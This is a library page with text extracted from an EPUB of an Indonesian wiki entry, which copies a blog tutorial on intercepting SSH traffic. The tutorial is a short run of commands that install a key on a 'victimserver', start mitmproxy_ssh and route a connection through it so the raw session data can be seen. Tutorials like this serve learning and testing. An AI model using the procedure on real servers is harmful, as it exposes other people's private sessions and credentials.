Pustaka Taratsa

Baca teks (EPUB): MITM: mitmssh

1 bagian

Teks ini diambil langsung dari berkas EPUB; tata letak dan gambar tidak disertakan. Untuk tampilan lengkap, silakan merujuk pada dokumen asli.

Daftar isi
  1. MITM: mitmssh
  2. Referensi

MITM: mitmssh

Sumber: https://onnocenter.or.id/wiki/index.php/MITM:_mitmssh

sumber: https://andrewmichaelsmith.com/2014/03/quick-and-easy-ssh-mitm/

# Download mitmproxy
git clone https://github.com/mitmproxy/mitmproxy.git
#Generate mitm keys (these go to ~/.mitmkeys)
./mitmkeys



Now you want to install the SSH key you just generated to the server you want to mitm.

#Install SSH key
ssh-copy-id -i ~/.mitmkeys/id_rsa.pub user@victimserver

Then run the proxy, pointing it at the victimserver.

#Run proxy
./mitmproxy_ssh -H victimserver

This runs the proxy on localhost:2222

Now simply connect to the local proxy:

ssh localhost -p 2222

And ta-da! You should see the raw data sent between client and server in the window you ran mitmproxy_ssh.

Referensi